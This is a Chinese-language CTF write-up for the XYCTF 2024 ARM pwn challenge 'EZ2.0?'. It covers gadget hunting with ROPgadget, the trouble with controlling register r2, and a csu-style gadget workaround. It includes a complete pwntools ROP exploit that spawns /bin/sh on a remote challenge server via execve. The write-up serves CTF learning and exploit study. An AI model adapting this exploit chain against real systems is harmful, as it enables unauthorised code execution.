arm pwn例题
- 以xyctf2024 EZ2.0?为例题,主要记录一下做题过程
- 发现pwntools的gdb.debug功能非常强大,可以很方便的调试
- 第一步看静态链接,网上一搜都说arm文件里应该有system函数,但是发现了/bin/sh字符串怎么都找不到system,也没有去符号表
- 于是想到来打orw,搜索到如下gadget
zp9080@LAPTOP-N2IL3LVK:~/PWN$ ROPgadget --binary arm --only "pop|ret"
Gadgets information
============================================================
0x0001056c : pop {fp, pc}
0x0005f73c : pop {r0, pc}
0x00026634 : pop {r0, r4, pc}
0x0005f824 : pop {r1, pc}
0x00010160 : pop {r3, pc}
0x00014264 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x000104e0 : pop {r4, pc}
0x0001d698 : pop {r4, r5, pc}
0x00011240 : pop {r4, r5, r6, pc}
0x00010970 : pop {r4, r5, r6, r7, pc}
0x000198bc : pop {r4, r5, r6, r7, r8, fp, pc}
0x000110dc : pop {r4, r5, r6, r7, r8, pc}
0x00026f2c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x000196a8 : pop {r4, r5, r6, r7, r8, sb, pc}
0x00010c1c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00010d9c : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x0005d1ac : pop {r4, r5, r6, r7, r8, sl, pc}
0x0001c590 : pop {r4, r5, r7, pc}
0x0001b884 : pop {r4, r6, r7, pc}
0x000280a4 : pop {r4, r7, pc}
0x00027d78 : pop {r7, pc}
感觉好像没啥问题可以打,但是实际操作发现open的时候让r2寄存器变成0,这样即使open了文件read和write读入只能0字节 3. 准备打syscall,但是还是老问题,如何控制第三个参数 4. 最后搜索到可以类似csu这样来控制r2,于是得出解法
- exp
from pwn import *
from pwnlib.util.packing import p32
context(arch='arm',endian='little',log_level='debug')
# p = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu/","./mips"])
# p=gdb.debug("./arm",'b *0x105C0')
p=remote('10.131.223.200',60929)
'''
0x00026634 : pop {r0, r4, pc}
0x0005f824 : pop {r1, pc}
00027DF4 SVC 0
0x00010c1c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
'''
'''
.text:00010D7C MOV R2, R8
.text:00010D80 MOV R1, R7
.text:00010D84 MOV R0, R6
.text:00010D88 LDR R3, [R5,#4]!
.text:00010D8C ADD R4, R4, #1
.text:00010D90 BLX R3
.text:00010D94 CMP R9, R4
.text:00010D98 BNE loc_10D7C
.text:00010D9C POP {R4-R10,PC}
'''
read=0x27EC8
popchain=0x10c1c
csu=0x10D7C
syscall=0x27DF4
pop_r0_r4=0x26634
pop_r1=0x5f824
bss=0x8AE80
#read(0,bss,0x100)
payload=b'a'*0x44+p32(pop_r0_r4)+p32(0)*2+p32(pop_r1)+p32(bss)+p32(read)+p32(0)*4+p32(popchain)
payload+=p32(0)+p32(bss+4)+p32(bss)+p32(11)+p32(0)+p32(0)*3+p32(csu)+p32(0)+p32(syscall)
payload=payload.ljust(0x100,b'a')
p.sendafter("welcome XYCTF arm world",payload)
payload=b'/bin/sh\x00'+p32(pop_r1)
payload=payload.ljust(0x100,b'a')
p.send(payload)
p.interactive()
- exp中的细节
- read函数的细节
- 注意arm架构会把LR压入栈,如果调用0x27EC4处的函数,无法进行rop,只能控制一次,因此调用从0x27EC8开始,注意vuln函数中的read很长,这样可以控制很大一部分栈的空间,只需注意 ADD SP, SP, #0xC ;POP {R4-R7,PC} 合理溢出来控制流程
.text:00027EC4 PUSH {R4-R7,LR} ; Alternative name is '__libc_read'
.text:00027EC8 MOV R3, R0
.text:00027ECC BL __aeabi_read_tp
.text:00027ED0 MOV R5, R0
.text:00027ED4 LDR R0, [R0,#-0x4C0]
.text:00027ED8 SUB SP, SP, #0xC
.text:00027EDC CMP R0, #0
.text:00027EE0 BNE loc_27F08
.text:00027EE4 MOV R0, R3
.text:00027EE8 MOV R7, #3
.text:00027EEC SVC 0
.text:00027EF0 CMN R0, #0x1000
.text:00027EF4 MOV R4, R0
.text:00027EF8 BHI loc_27F64
.text:00027EFC
.text:00027EFC loc_27EFC ; CODE XREF: read+B4↓j
.text:00027EFC MOV R0, R4
.text:00027F00 ADD SP, SP, #0xC
.text:00027F04 POP {R4-R7,PC}
- csu函数的细节
- 要注意 LDR R3, [R5,#4]! BLX R3 这个语句,因为无法泄露栈地址,所以这里进行的操作是先read一次到bss,这样[R5,#4]的值就可控了,继续控制流程
- 注意pop指令是在栈上进行而不是bss段,但是溢出长度很长所以依旧可以控制栈,进而控制流程
- 注意arm的rop和linux的rop的区别,找到合适的gadget,分析如何控制流程就行了,syscall确实好用